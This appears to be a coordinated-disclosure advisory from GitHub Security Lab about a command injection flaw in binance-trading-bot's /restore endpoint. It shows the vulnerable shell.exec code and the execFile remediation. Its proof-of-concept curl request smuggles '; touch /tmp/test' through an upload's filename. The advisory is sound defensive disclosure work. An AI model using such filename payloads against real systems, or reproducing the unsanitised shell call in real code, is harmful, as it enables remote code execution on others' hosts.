Coordinated Disclosure Timeline

Summary

Authenticated users of binance-trading-bot can achieve Remote Code Execution on the host system due to a command injection vulnerability in the /restore endpoint.

Project

binance-trading-bot

Tested Version

dd8e1a91b872a48aec47bbe1280c1c6ea96784d9

Details

Command injection in /restore endpoint (GHSL-2025-023)

binance-trading-bot is vulnerable to command injection via the /restore endpoint. The name of the uploaded file is passed to shell.exec without sanitization other than path normalization, resulting in Remote Code Execution. This may allow any authorized user to execute code in the context of the host machine.

  app.route('/restore').post(async (req, res) => {
    if (config.get('demoMode')) {
      return res.send({
        success: false,
        status: 403,
        message: 'You cannot restore database in the demo mode.',
        data: {}
      });
    }

    const authToken = req.header('X-AUTH-TOKEN');

    // Verify authentication
    const isAuthenticated = await verifyAuthenticated(logger, authToken);

    if (isAuthenticated === false) {
      logger.info('Not authenticated');
      return res.send({
        success: false,
        status: 403,
        message: 'Please authenticate first.',
        data: {}
      });
    }

    const { archive } = req.files;

    const filepath = `/tmp/${archive.name}`;
    archive.mv(filepath);

    const result = await new Promise(resolve => {
      shell.exec(
        `${process.cwd()}/scripts/restore.sh ${config.get(
          'mongo.host'
        )} ${config.get('mongo.port')} ${filepath}`,
        (code, stdout, stderr) => {
          resolve({ code, stdout, stderr });
        }
      );
    });

Impact

This issue may lead to Remote Code Execution.

Remediation

Use execFile instead of exec to ensure that the arguments are treated as simple strings, not shell commands.

CWEs

Resources

Send a POST request containing an archive file with a valid auth token to the /restore endpoint. Change the filename to your command payload, such as ; touch /tmp/test. The command will be executed in the context of the application’s user privileges.

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:8080' -H $'Content-Length: 220' -H $'X-AUTH-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkQXQiOiIyMDI1LTAxLTE1VDIwOjUwOjMwLjA5OFoiLCJpYXQiOjE3MzY5NzQyMzAsImV4cCI6MTczNjk4MTQzMH0.IL9B90n1em_pKxM9hKlMSH_KXMvzUJirpa5bKwBv3FA' -H $'sec-ch-ua-platform: \"macOS\"' -H $'Accept-Language: en-US,en;q=0.9' -H $'sec-ch-ua: \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept: application/json, text/plain, */*' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary35bz4v7kvAoHTXky' -H $'Origin: http://localhost:8080' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:8080/' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    -b $'_ga=GA1.1.3983687.1724225956; _ga_R1FN4KJKJH=GS1.1.1724353690.2.0.1724353690.0.0.0; GMT_OFFSET=-480; csrftoken=yX4phd2hpd3mhEkXH6GaHFDRwDBsntGDBvkVb1aN166C2A8f69POFPLrrKJ7My0G' \
    --data-binary $'------WebKitFormBoundary35bz4v7kvAoHTXky\x0d\x0aContent-Disposition: form-data; name=\"archive\"; filename=\"; touch /tmp/test"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary35bz4v7kvAoHTXky--\x0d\x0a' \
    $'http://localhost:8080/restore/'

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2025-023 in any communication regarding this issue.